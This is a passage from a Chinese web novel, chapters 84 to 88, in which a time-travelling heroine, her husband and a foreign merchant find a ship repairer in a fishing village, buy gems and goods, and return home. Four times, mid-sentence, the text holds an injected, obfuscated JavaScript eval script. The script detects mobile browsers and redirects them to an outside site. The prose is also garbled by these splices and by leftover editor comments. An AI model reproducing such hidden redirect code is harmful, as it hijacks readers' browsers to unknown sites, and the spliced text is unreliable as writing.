宁芷薇掀开帘子,映入眼帘的是衙门前熙熙攘攘的人群。她微微蹙眉,注意到不少百姓手里都拿着状纸,脸上写满了愤怒与不甘。 “这苏允当了十几年县丞,原来干了这么多坏事!”一个满脸皱纹的老农愤愤不平地说道。 “可不是嘛!”旁边一个中年汉子接过话茬,“我家那十亩良田,就是被他强占的。当时他派衙役来,说什么要建义仓,结果呢?全成了他家的私产!” “你这都算好的,”又一个妇人插嘴道,“我家那口井,本来是祖辈留下的。他说什么井水浑浊会害人,硬是让人填了。现在我们全村的人打水都要走好远......” 零零散散的控诉声此起彼伏,宁芷薇听得心头一阵发堵。她虽然是个穿越者,但对这个时代的官场黑暗也略有耳闻。没想到一个小小的县丞,居然能作恶多端到这种地步。 正当她沉浸在思绪中时,身后传来一阵熟悉的洋腔洋调。 “宁小姐,秦先生,你们来得真早!” 宁芷薇转身,看到威廉那张写满兴奋的脸。这位金发碧眼的洋人商人,总是像个孩子般充满热情。他今天穿着一身浅色西装,在这古色古香的环境中显得格外突兀。 “威廉先生。”秦远霄微微颔首,“既然人都到齐了,我们这就动身去滨村吧。” 一行人重新上路。骡车在崎岖的山路上颠簸前行,宁芷薇坐在车厢里,透过帘子的缝隙看着沿途的风景。渐渐地,空气中多了几分咸湿,远处隐约传来海浪的声音。 经过多番打听,他们终于来到了滨村。与东麓村的田园风光不同,这里处处透着海的气息。村口的老槐树上挂着几张晾晒的渔网,随风轻轻摇曳。 第八十四章 村子里的房屋都建在沙滩边上,多是低矮的土坯房,墙壁被海风侵蚀得斑驳不堪。家家户户的篱笆上挂满了渔具,院子里堆着竹篓、木桶。空气中飘荡着咸腥的海风,还有晒鱼干的味道。 宁芷薇深吸一口气,这熟悉又陌生的景象让她想起了前世。那时她在军营里,很少有机会亲近大海。现在闻着这混杂着咸鱼和海藻的空气,反倒觉得格外亲切。 遇到一个挑着担子的渔民,秦远霄停下车问路。那渔民看到威廉时明显愣了一下,目光在他金色的头发上停留许久,但听说是来找人修船的,态度立刻热情起来。 “修船啊?”渔民放下担子,抹了把额头的汗,“我们村的确有不少会修船的。” 不过当得知是要修大型货船时,渔民摇了摇头,指向村子西边:“要修那种大船,得找商智。不过......”他欲言又止。 “不过什么?”威廉急切地问道。 “那商智脾气古怪得很,”渔民压低声音,“以前听说是京城来的大官,犯了事被贬到这儿。平日里深居简出,谁去找他都爱理不理的。要不是他真有本事,村里人都懒得搭理他。” 听到“商智”这个名字,秦远霄眼中闪过一丝异色。几年前那场因为贵妃寿宴上的小推车事件而被流放的工部侍郎,没想到会在这里遇到。 宁芷薇却没注意到丈夫的表情变化,她的目光完全被渔民担子里的海鲜吸引住了。 大龙虾!皮皮虾!螃蟹! 前世最爱的美食就在眼前,她忍不住咽了咽口水。那些个头硕大的龙虾,壳上还沾着晶莹的水珠,触角一动一动的,看起来格外新鲜。 “大哥,这些海鲜要卖吗?”她按捺不住问道。 “卖啊,”渔民笑呵呵地说,“这虾魁二十文一个,螳螂虾三文一斤,蟹也便宜,十文一只。” 宁芷薇心中暗喜,这价格简直是白送!要知道在现代,一只大龙虾少说也得几百块。她已经在脑海里想象着各种烹饪方法:清蒸、红烧、蒜蓉...... “大哥,你这些我都要了!” 渔民愣了一下,显然没想到会有人全都买下。他仔细打量着眼前这个穿着华贵的年轻女子,脸上露出惊喜的神色。 “姑娘,你真要全买啊?那我给你便宜点......” 正当两人讨价还价时,远处传来一阵喧闹声。只见几个衙役打扮的人骑马而来,后面跟着一辆马车。 秦远霄眯起眼睛,若有所思地看着那辆马车。车帘被风掀起一角,隐约可以看到里面坐着一个身着官服的中年人。 渔民见状,赶紧收拾东西要走:“不好意思啊,我得赶紧回去了。这是新上任的县令大人,听说要来村里视察......” 宁芷薇连忙付了钱,让渔民把海鲜放到骡车上。她注意到秦远霄的表情有些凝重,不由得问道:“怎么了?” 秦远霄摇摇头:“没什么,只是觉得这位新县令来得不太是时候。”他顿了顿,“我们还是先去找商智吧。” 威廉也察觉到了气氛的变化,但他更关心自己的货船。那艘装满货物的大船此刻正停在港口,每耽误一天都是巨大的损失。 一行人继续向村西走去。远处的海面上,几艘渔船正在收网,海鸥在船帆间盘旋,发出阵阵鸣叫。天边的云层渐渐厚重起来,似乎预示着一场风暴的到来。 海风吹拂,带着咸腥的气息,夹杂着滨村特有的腥咸味道扑面而来。 宁芷薇站在路边,目光被竹筐里新鲜的海鲜吸引。那虾魁个头硕大,每只都有两斤重,壳子泛着青黑色的光泽,触须还在轻轻摆动,仿佛在向路人炫耀自己的鲜活。旁边的螳螂虾虽然个头小些,但是数量惊人,堆得满满当当,在阳光下闪烁着诱人的光泽。 她不由自主地蹲下身,伸手轻轻碰了碰虾魁的壳,触手可及的新鲜让她忍不住咽了咽口水。这里的物价真是便宜得让人不敢相信,一个铜板相当于前世一元钱,这些海鲜要是放在现代,没个几百块下不来。 “大哥,这些我都要了。”她脱口而出,语气中带着掩饰不住的兴奋。 卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481944|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虾的汉子愣在原地,上下打量着眼前这位穿着考究的小娘子。他粗糙的手指不自觉地摩挲着竹筐边缘,似乎在怀疑自己是不是听错了。这些海鲜可不是什么抢手货,壳硬得很,入口感觉硌牙,城里人都不爱买。 看到汉子脸上狐疑的表情,宁芷薇这才意识到自己太过急切了。她下意识地摸了摸腰间的钱袋,虽说界阙里银钱不少,但也不能这么冤大头似的买东西。 她轻咳一声,调整了语气:“大哥,要是我全都买下来,能不能给个实在价?” 汉子眼睛一亮,连忙放下担子,搓着手说道:“小娘子,我这虾魁十二只,个个都是精挑细选的好货。螳螂虾更是新鲜,三十斤整,一共二百五十文,这个价格已经很公道了。” 秦远霄在一旁听不下去了,这价格明显是狮子大开口。他一把拉住正要掏钱的宁芷薇,冷声道:“二百五十文?你还不如挑去城里卖。这价格,城里最好的海鲜铺子都不敢要。” 汉子被他冰冷的语气震住,脸上的笑容僵了僵,连忙改口:“那...一百五十文如何?这价钱已经很低了,我连竹筐都送给你们。” “一百文,要就成交。”秦远霄态度坚决,眼神中透着不容商量的意味。 汉子额头渗出细密的汗珠,目光在两人之间来回游移。见他们作势要走,赶紧伸手拦住:“好好好,一百文就一百文,您二位可真会砍价。” 宁芷薇暗暗佩服秦远霄的砍价本事,这一番讨价还价下来,省了一大半银钱。她从荷包里数出铜钱,看着汉子将竹筐搬上骡车,心里美滋滋的。 “小娘子,”汉子擦了擦额头的汗,指着不远处的石头路,“顺着这条路往前走,过了那片竹林就是商师傅家了。他家院子是石头砌的,很好认。” 宁芷薇点头道谢,目送汉子离开。她转身看向秦远霄,发现他正若有所思地望着远处。 “怎么了?”她轻声问道。 秦远霄收回目光:“这滨村虽小,但处处透着不寻常。你注意到了吗?路上几乎看不到年轻人。” 第八十五章 宁芷薇这才意识到确实如此,来时路上遇到的不是老人就是孩子,青壮年男子寥寥无几。她正要开口询问,却见秦远霄已经迈步向前。 按照汉子指点的方向,他们很快找到了商智的住处。那是一座石头砌成的院落,与周围渔民家的木栅栏形成鲜明对比。院门大开着,却显得格外冷清,门前的石阶上落了一层薄灰。 “请问是商智家吗?”秦远霄站在门口喊道,声音在空旷的院子里激起回响。 片刻后,一个衣衫不整的中年男子从屋里走出来,脸上写满不耐烦:“谁找...”话未说完,他猛地顿住,“九公子?” 看到秦远霄的瞬间,商智的态度来了个一百八十度大转弯。他连忙整理凌乱的衣襟,脸上堆起笑容:“九公子怎么来了?快请进,快请进。” 两人寒暄几句后,商智将他们请进院子。院中摆着几张木桌,上面零散地放着些工具,还有几块木板靠在墙边。 当看到威廉时,商智的脸色明显变得不善。他用汉语说道:“要不是看在九公子的面子上,修理船只这事我可不干。这些洋人,没一个是好东西。” 威廉听不懂,转头看向宁芷薇请她翻译。但宁芷薇敏锐地察觉到商智对洋人的敌意,便试探着问:“商大哥是遇到过什么不愉快的事吗?” 商智看了看宁芷薇,又看了看威廉,眼神中闪过一丝复杂的情绪。他反问道:“九夫人能听懂洋人的话?” 宁芷薇点点头,却没有立即回答。她注意到商智提到洋人时,手指不自觉地攥紧,指节都泛白了。这种下意识的动作,往往暗示着内心深处的愤怒和仇恨。 院子里一时陷入沉默,只有海风吹过竹林的沙沙声。秦远霄站在一旁,目光在商智和威廉之间来回扫视,似乎在思考什么。 “商师傅,”宁芷薇打破沉默,“我们这次来,是想请您帮忙修理一艘船。不知道您能否...” “修什么船?”商智打断她的话,语气生硬,“我最近身体不适,不接活了。” 秦远霄眉头微皱:“商师傅,这艘船对我们很重要。价钱好说。” 商智摇摇头,转身就要往屋里走:“抱歉,九公子。这活我真接不了。” 就在这时,院外传来一阵脚步声,紧接着一个年轻人的声音响起:“爹,我回来了。” 宁芷薇谦逊地说:“略懂一些,勉强能交流。”她的手指无意识地摩挲着衣袖边缘,目光落在商智身上。 商智坐在那里,双手交叠放在膝上,眼神飘向远处。阳光透过窗棂照进来,在他脸上投下斑驳的光影,更显苍老。许久,他才缓缓开口,声音低沉而沙哑:“当年初到塞北,为了糊口在码头做苦力。一日我娘子送饭来,恰巧遇到一个路过的洋人...” 说到这里,商智的手指不自觉地攥紧,指节泛白。他停顿了片刻,喉结滚动,仿佛在压抑着什么。 宁芷薇注意到他的异样,不由得屏住呼吸。房间里安静得能听见檐角风铃的轻响,那清脆的声音此刻却显得格外刺耳。 “那老外不晓得耍了什么花招,我娘子竟心甘情愿地跟他走了。”商智说这话时,眼中已经泛起泪光,声音也变得颤抖,“那天...那天她走时,连头都没回一下。” 宁芷薇心头一紧,下意识地看向身旁的秦远霄。后者眉头微蹙,轻轻摇头。她明白丈夫的意思——有些伤痛,时间也未必能够抚平。 威廉还在一旁茫然地看着他们。阳光下,他白皙的面庞透着几分稚气,显然不明白发生了什么。宁芷薇犹豫片刻,还是将商智的遭遇简单翻译给他听。 “天啊!”威廉闻言,脸色骤变,急切地说道:“请替我解释,俺头一回到这个地方,绝非那种卑劣之徒。每个国家都有好人坏人,我向您保证,我是好人。”他说这话时,额头上已经渗出细密的汗珠。 商智抬起手,示意他不必解释:“我明白,不该迁怒于你。”说着,他站起身来,整理了一下有些褶皱的衣袍,“走吧,去看看船。” 骡车在崎岖的道路上颠簸前行。宁芷薇坐在外面和秦远霄并肩而坐,海风吹拂,带着咸腥的气息。她能感受到丈夫身上传来的温暖,这让她感到安心。 车厢内,商智靠在角落,闭目养神。威廉则好奇地打量着路边的景色,时不时发出惊叹声。 二十分钟后,他们抵达码 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481945|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。这里远不如盐泊码头繁华,只停泊着三艘船。岸边零星散布着几个渔民,正在整理渔网。海鸥在低空盘旋,不时发出尖锐的鸣叫。 其中一艘船格外醒目——高大的船体,巨大的船帆,与永安本土的货船截然不同。深褐色的船身在阳光下泛着油亮的光泽,桅杆高耸入云。 “就是那艘!”威廉兴奋地指着那艘船,脸上洋溢着自豪的笑容。 他们乘小船靠近货轮。海浪轻轻拍打着船舷,溅起细小的水花。威廉先行攀上绳索,动作熟练。商智虽然年纪较大,但也毫不示弱地跟了上去。 秦远霄搂住宁芷薇纤细的腰肢,轻轻一跃,稳稳落在甲板上。这一幕惊呆了威廉和他的船员们,他们目瞪口呆地看着这对夫妻。 “太神奇了!你们竟然会飞!”威廉惊呼道,眼睛瞪得溜圆。 宁芷薇莞尔一笑,没有解释。她对这艘货船本身并不感兴趣,更想看看威廉带来了什么货物。甲板上忙碌的水手们不时投来好奇的目光,但都保持着恰到好处的距离。 “能带我们参观货仓吗?”她问道,目光扫过船舱入口。 威廉欣然应允,领着他们走进船舱。随着舱门打开,一股混杂着木材、香料和海水的气息扑面而来。船舱内光线昏暗,只有几盏油灯摇曳着微弱的光芒。 掀开厚重的苫布,各种货物映入眼帘:装在麻袋里的异国谷物、堆得整整齐齐的粗制瓷砖、色彩斑斓的布料,还有各式玻璃制品。玻璃在昏暗的灯光下闪烁着柔和的光泽,透着几分神秘感。 宁芷薇的目光在玻璃上停留片刻。她和秦远霄正准备建房,这些玻璃正好用得上。而且从洋人手中光明正大购买,再合适不过。她伸手轻轻抚过一块透明的玻璃,感受着其光滑的触感。 “这些都是我们国家的特产。”威廉自豪地介绍道,“每一件都是精心挑选的。”他说着,拿起一块玻璃在光线下展示,折射出绚丽的光芒。 宁芷薇暗自思忖,这些货物在她看来都不算稀罕。不过,对这个时代的永安百姓来说,或许 确实新奇。她注意到秦远霄也在仔细打量着这些商品,眼神中闪过一丝若有所思。 第八十六章 商智站在一旁,默默地看着这一切。他的目光掠过那些异国商品,神情复杂。或许是想起了往事,又或许是在思考些什么。但他很快就调整好了情绪,开始认真地询问起货物的价格。 宁芷薇的目光在昏暗的货仓里游走,木质地板上堆满了大大小小的箱子,空气中弥漫着一股淡淡的霉味。她轻轻拨开眼前的一缕碎发,视线落在角落里那堆玻璃制品上。 透明的玻璃在微弱的光线下泛着柔和的光泽,精致的纹路勾勒出西方特有的艺术风格。这些在永安朝还算稀罕物件,但比起她界阙里的东西,实在算不得什么。 正当她准备移开视线时,一抹半透明的布料吸引了她的注意。那布料堆叠在箱子旁,看起来有些像前世的塑料布,但质地明显更为厚实。 她蹲下身,指尖轻轻触碰那块布料,触感柔韧而结实。脑海中突然闪过一个念头,嘴角不自觉地扬起一抹笑意。 “这倒是个好东西。”她低声呢喃。 塞北的冬季虽不及北方寒冷,但也会下雪,地面还要被寒气封印好一阵子。若是能用这东西搭建大棚,不仅可以种植反季节蔬菜,顺带给她从界阙摸出口粮打掩护。 站在一旁的秦远霄双手抱胸,神情淡漠。这些外国货物在他眼中不过是些稀奇古怪的玩意儿,比起宁芷薇界阙里那些神奇的物品,实在不值一提。 威廉站在货仓中央,眉头微皱。他原本以为这些稀罕物件能让两**吃一惊,没想到他们的反应如此平淡,仿佛这些宝贝在他们眼中与普通货物无异。 “这些可都是我们国家最新的产物,”威廉忍不住开口解释,“特别是这些玻璃制品,做工精良,就连皇室都...” “威廉,”宁芷薇打断了他的话,“除了这些,你还带了什么来?” 威廉眼睛一亮,快步走到货仓角落,搬出一个精致的大箱子。箱子表面雕刻着繁复的花纹,边角处镶嵌着黄铜饰件。 “极品宝贝全在这儿了。”他小心翼翼地打开箱子,脸上露出神秘的笑容。 第一件展示的是一个铜制望远镜,做工精良,镜筒上刻着精美的花纹。威廉捧着望远镜,满脸骄傲:“这可是咱们华夏的无价之宝,费了好大劲才弄到手。” 宁芷薇和秦远霄对视一眼,都没说话。这种东西在界阙里多得是,实在提不起兴趣。 看到两人依旧无动于衷,威廉有些泄气,但很快又振作起来。他从箱子里取出几面玻璃镜子,背面雕刻着西方特色的花纹,镜面光滑如水。 “这些镜子可不是普通货色,”威廉轻轻擦拭着镜面,“每一面都是由最好的工匠打造...” 就在宁芷薇以为没什么特别的东西时,威廉突然停下话头,神秘兮兮地拿出了一个小盒子。盒子外表普通,但当它被打开的那一刻,整个货仓仿佛都亮了起来。 里面是几十颗比鸽子蛋还大的钻石,在昏暗的货仓里闪烁着迷人的光芒。每一颗都切割得极为完美,折射出璀璨的光芒。 宁芷薇的眼睛亮了起来,她凑近仔细打量着这些宝石。虽然切工比不上后世,但这些钻石的品质确实上乘。 “喜欢吗?”威廉笑着问,“送你一颗。”说着,他大方地将一颗钻石放在宁芷薇手中。 宁芷薇掂量着手中的钻石,心中暗笑。在这个年代,由于切割技术的限制,钻石的价值远不及后世。她也就欣然接受了这份礼物。 “这一盒多少钱?”她指着剩下的钻石问道,语气随意得仿佛在问菜价。 “五十两银子。”威廉说出这个数字时,还特意观察着宁芷薇的表情。 “成交。”宁芷薇想都没想就答应了。 威廉愣在原地,一时间不知该说什么。五十两银子在这个年代可不是小数目,普通人一年都未必能赚到这么多。可眼前这位姑娘却如此爽快地答应了。 “你、你确定要买?”威廉结结巴巴地问,“这价格...” 宁芷薇轻笑一声:“放心,我付得起。银子在岸上,等会上岸就给你。” 见她如此自信,威廉也就不再多说。他继续从箱子里拿出各色宝石,摆在宁芷薇面前。 红宝石像火焰般灼热,在光线下散发着热烈的光芒;绿宝石似春水般温润,透着淡淡的碧色;蓝宝石如海洋般深邃,仿佛能将人的目光吸进去; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481946|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有晶莹剔透的紫水晶,散发着神秘的光芒。 宁芷薇的眼睛越发明亮。这些宝石在后世可都是价值澧州的珍品,现在却能以这么便宜的价格买到。她暗自盘算着,这批宝石带回去,不知能换多少银子。 秦远霄站在一旁,看着宁芷薇兴致勃勃的样子,嘴角不自觉地扬起一抹笑意。他知道她不缺钱,但占便宜的事谁不爱呢? 威廉见宁芷薇对宝石如此感兴趣,连忙又拿出几个小盒子。“这些是我特意收集的,每一颗都是极品。” 打开盒子,里面是各种颜色的宝石,有的还未经过打磨,保持着原石的模样。虽然外表粗糙,但内里的光芒依然清晰可见。 “这些原石的价格会便宜一些,”威廉解释道,“如果你感兴趣的话...” “全要了。”宁芷薇干脆地说。 这一次连威廉都惊讶得说不出话来。他做梦都没想到会遇到这样的买主,不讲价也就算了,居然要把所有宝石都买下。 “姑娘,你...”威廉欲言又止,“这些加起来可不是小数目。” 宁芷薇笑着摆摆手:“我知道。一会儿结账的时候一起算就是了。” 秦远霄看着她胸有成竹的样子,忍不住问道:“你要这么多宝石做什么?” “投资啊,”宁芷薇眨眨眼,“这些东西放着又不会坏,说不定哪天就能派上用场。” 威廉听不懂他们在说什么,但看宁芷薇如此豪爽,心里也是暗暗惊叹。这位看起来普通的姑娘,究竟是什么来头? 宁芷薇将那些晶莹剔透的宝石捧在手心,阳光透过船舱的窗户洒落进来,在宝石表面折射出璀璨的光芒。她的指尖轻轻摩挲着宝**滑的表面,眼底闪过一丝精明的光芒。 “这些宝石的成色确实不错。”她低声呢喃,目光在每一颗宝石上细细打量,“切工精细,透明度极佳,足以打造出令人惊艳的首饰。” 船舱内光线昏暗,但丝毫不影响她对宝石的鉴赏。多年的经验让她一眼就能看出这批宝石的价值。她故意放慢了挑选的动作,时不时发出赞叹声,将一个对宝石极为热衷的形象演绎得淋漓尽致。 第八十七章 威廉站在一旁,眼中带着期待的光芒注视着她的一举一动。每当宁芷薇表现出对某颗宝石的喜爱,他的嘴角就会不自觉地上扬几分。 “这批宝石,八百两银子如何?”宁芷薇终于开口,语气中带着几分随意。 威廉愣了一下,显然没想到她会直接说出这个数字。他的目光在宁芷薇平静的面容上逡巡,似乎在判断她是否在开玩笑。 “八百两......”威廉迟疑片刻,“这个价格......” “怎么,嫌少?”宁芷薇挑眉,手中的动作却没停,继续把玩着那些宝石。 威廉连忙摆手:“不不不,这个价格很合适。”他的眼中闪过一丝惊诧,显然被宁芷薇的财力震惊到了。 成交后,威廉像是打开了话匣子,热情地向宁芷薇推荐起其他商品。“宁芷薇女士,您看这些小镜子和望远镜,都是我精心挑选的宝物。”他拿起一个精致的望远镜,“这可是最新款式,您真的不考虑一下吗?” 宁芷薇看着威廉热切的目光,心中暗笑。这些在现代算不上什么稀罕物件的东西,对她而言确实没什么吸引力。“不必了,这些完全不在我的频道上。”她淡淡地回绝。 威廉脸上闪过一丝失望,眼神中带着几分怜悯,显然已经在心中将她归类为不识货的乡下人。但他很快调整好情绪,转而介绍起其他商品。 宁芷薇也懒得解释,将装着宝石的盒子交给一旁的秦远霄,转而询问起玻璃等物品的价格。她的目光扫过堆放在船舱各处的货物,心中已有盘算。 经过一番讨价还价,她又花了一百五十两银子,购买了一批玻璃、塑料布和各类农作物种子。这些东西堆在一起,看起来颇为壮观。 “这么多东西......”威廉有些担忧地看着堆成小山的货物,“你打算怎么运送?” 宁芷薇早有打算:“我会在码头租个仓库,等你的船靠岸后直接运过去。”她的语气胸有成竹,仿佛已经安排妥当。 正说着,船身突然轻微晃动。一个水手匆匆跑来,脸上带着掩饰不住的兴奋:“威廉!那位师傅太厉害了,船已经修好了!” 威廉闻言大喜,立刻下令靠岸。他快步走到甲板上,商智已经站在那里等候,神色淡然,仿佛修好一艘商船对他来说不过是举手之劳。 威廉激动地想给他一个拥抱,却被商智灵巧地避开。“十两银子。”商智面无表情地说道,语气平淡得仿佛在谈论天气。 威廉一时语塞,求助地看向宁芷薇。他的眼神中带着几分尴尬,显然是还没有收到货款,一时拿不出工钱。 宁芷薇心中了然,主动提议道:“随我去取银子吧。”她的语气温和,丝毫没有因为威廉的窘境而显露出不耐。 等船只靠岸后,宁芷薇从马车中取出一个沉甸甸的包裹,里面整整齐齐地码放着一千两银子。“每个银锭十两,一共一百个。”她细心地向威廉解释,手指轻轻点过那些银锭。 威廉感激地拿起两个银锭递给商智,却见对方只接过一个。“我只收该得的报酬。”商智的语气依旧平静,但态度坚决。 在商智的帮助下,他们很快在码头附近租到了一个合适的仓库。“每三天一两银子。”仓库管事说道,目光在宁芷薇一行人身上打量。 秦远霄雇了一批工人开始搬运货物,动作麻利,配合默契。商智本想请他们吃顿饭,但见状只好作罢。“九公子,改日再约。”他抱拳告辞,身影很快消失在熙熙攘攘的码头。 等商智离开后,宁芷薇趁四下无人,悄悄将界阙里的物品也转移到仓库中。大量的玻璃、瓷砖、布料和农作物,将偌大的仓库塞得满满当当。 处理完这些,秦远霄仔细检查了一遍,确认无误后才将仓库门锁好。阳光西斜,给码头镀上一层金色的光芒。 威廉依依不舍地看着宁芷薇:“能请你继续做我的翻译吗?”他的眼中带着期待,“我愿意付出更多报酬。” “抱歉,我还有家人需要照顾。”宁芷薇婉拒道,语气温和但坚定。看着威廉失落的样子,她灵机一动,从随身携带的包裹中取出一叠纸张。 “这是我准备的一些翻译卡片,上面有英文和汉字的对照。”她将卡片递给威廉,“虽然不能亲自为你翻译,但希望这些能帮到你。” 威廉接过卡片,仔细翻看后感动得差点落泪。他执意要送宁芷薇一些布料作为谢礼,“这是我从波斯带来的丝绸,请一定要收下。” 宁芷薇也不推辞,欣然接受了这份心意。夕阳的余晖中,布料上的暗纹闪烁着柔和的光泽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481947|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“如果有缘,我们还会再见的。”她微笑着道别,语气中带着几分真诚。 威廉习惯性地想给一个拥抱,却被秦远霄凌厉的眼神逼退。他讪讪地收回手,终于明白在永安,还是要入乡随俗的好。 夕阳西下,码头上人来人往。宁芷薇一行人的身影渐渐消失在熙攘的人群中,只留下威廉站在原地,手中紧握着那叠翻译卡片,眼中满是感激与不舍。 夕阳西下,一辆骡车缓缓驶向东麓村。暮色渐沉,天边残留的红霞为这个寒冷的塞北小村镇染上一抹温暖的色彩。 宁芷薇坐在车上,手里紧握着一块温热的暖炉,目光若有所思地望着远处起伏的山峦。今天的收获远超预期,一个现成的洋人背锅侠,这可真是天赐良机。 寒风呼啸,吹得车帘猎猎作响。她缩了缩脖子,下意识地往秦远霄身边靠了靠。身旁的男人立刻伸手为她拢了拢披风,动作轻柔而自然。 “冷?”秦远霄低沉的声音里带着关切。 宁芷薇摇摇头,嘴角勾起一抹浅笑:“有你在,不冷。” 趁着秦远霄注意力被前方道路吸引时,她的意识悄然潜入界阙。熟悉的温暖气息包裹着她,手指翻飞间,一批批水果干被她用油纸细心包好。 界阙里堆积如山的土豆、红薯、玉米,每样都装了满满一麻袋。洋葱、南瓜这些耐储存的蔬菜,她也各自准备了一些。最重要的是那些干辣椒,虽然新鲜的不好解释来源,但有总比没有强。 牧场里挤得满满当当的牛羊猪禽让她眼前一亮。这些日子,牧场里的动物都繁衍出了好几代,是时候该“清理”一下了。她熟练地操作着界阙的功能,将肉类分割处理,鱼类清理干净。 鸡蛋、鸭蛋、鹅蛋各自准备了一百个,要不是担心车厢装不下,她真想多带些。塞北的天气已经转凉,这些食材放在外面正好可以储存。 “在想什么?”秦远霄的声音突然响起,把她吓了一跳。 “没什么,就是在想今晚吃什么。”她随口搪塞道,同时悄悄挪到秦远霄身边坐好,这才开始一点点往外取东西。 很快,整个车厢就被塞得满满当当,连一根手指都插不进去。夫妻俩还各自抱着一筐新鲜的蛋。骡子走得越发吃力,到了村口,两人干脆下车步行。 第八十八章 路过苏家族地时,那里安静得出奇。往日里趾高气昂的苏家人,如今连大门都紧闭着。没有县令的命令,这些人连大气都不敢出。倒是杨家和吴家的人,少了苏家的压制,变得活跃起来。 “秦先生、宁姑娘回来啦!”路过的村民热情地打着招呼,有人还主动上前帮忙推车。名称前后不一致 “多谢张叔。”宁芷薇笑着道谢,心里熙熙的。这里的人对外来者如此友善,看来选择在此定居是对的。 夜色渐深,远处的山峦已经模糊成一片黑影。村子里升起袅袅炊烟,空气中飘散着饭菜的香气。 刚到家门口,就听见秦雨澜清脆的声音:“小兔子别跑!” 院子里,秦雨澜和八嫂正在追着一只白兔子跑来跑去。兔子灵活地窜来窜去,把两人折腾得气喘吁吁。只见八哥秦雪松一个轻功,从房顶飞身而下,一手揪住了长耳朵。 “可算抓住你了,小东西。”秦雪松无奈地摇头,“这都第三次跑了。” “老幺和他媳妇,可算回来了。”八哥接过骡子的缰绳,“这么多东西,怎么不提前说一声,我好去接你们。” 八嫂赶紧拉住宁芷薇的手:“手这么凉,赶紧屋里取暖。厨房里煮了姜汤,我给你倒一碗。” 宁芷薇先去给秦老夫人请安,秦雨澜抱着小兔子跟了进来。老夫人正坐在炕上绣花,见她进来,慈祥地笑了:“回来啦,路上可顺利?” “一切都好。”宁芷薇从袖中取出一个小包袱,“给老夫人带了些糕点,是镇上新开的铺子做的。” 老夫人笑着接过:“你这孩子,总是这么细心。” “九嫂,墨圆儿今天又跑山上玩去了。”秦雨澜说着,门口就窜进来一个黑白相间的小家伙。 墨圆儿直接扑向宁芷薇的脚踝,撒娇似的蹭来蹭去。宁芷薇将它抱起来,轻轻颠了几下,小家伙就在她怀里睡着了。 其他几位嫂嫂也都围了过来,宁芷薇便将今天的经历讲给大家听。说到那个洋人商人时,二嫂忍不住插嘴:“这些洋人,就喜欢仗着有钱欺负人。” “可不是嘛。”三嫂接话道,“前几天我去镇上,就看见几个洋人在茶楼里耀武扬威。” 院子里,秦雪松和秦远霄正在往杂物间搬运货物。看着满满当当的杂物间,二嫂忍不住打了个寒颤:“这塞北的天气,真够冷的。” “对了。”宁芷薇突然想到,“来到这里这么久,还没吃过一顿火锅。今天带回了这么多新鲜的牛羊肉,不如好好享受一顿?” 与后文逻辑不符 众人眼中闪烁着好奇的光芒。厨房里飘来阵阵诱人的香气,勾得人食指大动。 八嫂搓了搓手,眼睛亮得像星星:“九弟妹,今晚要做什么好吃的?我这手痒得很,咱们这就动手吧!”她一边说着,一边围着案板转圈,恨不得立刻就开始。 “是啊是啊,”二嫂也凑了过来,“这些洋人的东西,我还从没见过呢。”她拿起一个土豆翻来覆去地打量,圆滚滚的模样着实新奇。 秦老夫人倚在门框上,看着厨房里热闹的景象,嘴角挂着慈祥的笑意:“就让九儿媳来安排,你们几个打下手便是。”她早看出这个小儿媳妇心灵手巧,若让其他几个儿媳掌勺,只怕糟蹋了这些好东西。 宁芷薇站在案板前,手指轻轻敲打着木案,心中盘算着。在这个年代火锅还是个稀罕玩意儿,这等新鲜事物自然得亲自操持。她抬头环视一圈,发现几位嫂嫂都眼巴巴地望着自己,不由得莞尔一笑。 “各位嫂嫂稍等,我先去储物间取些东西。”说着,她快步走向储物间,从中挑选出几块上好的牛羊肉、猪肉,还有鸡肉和内脏。内脏已在界阙里处理干净,只需让嫂嫂们切片即可。 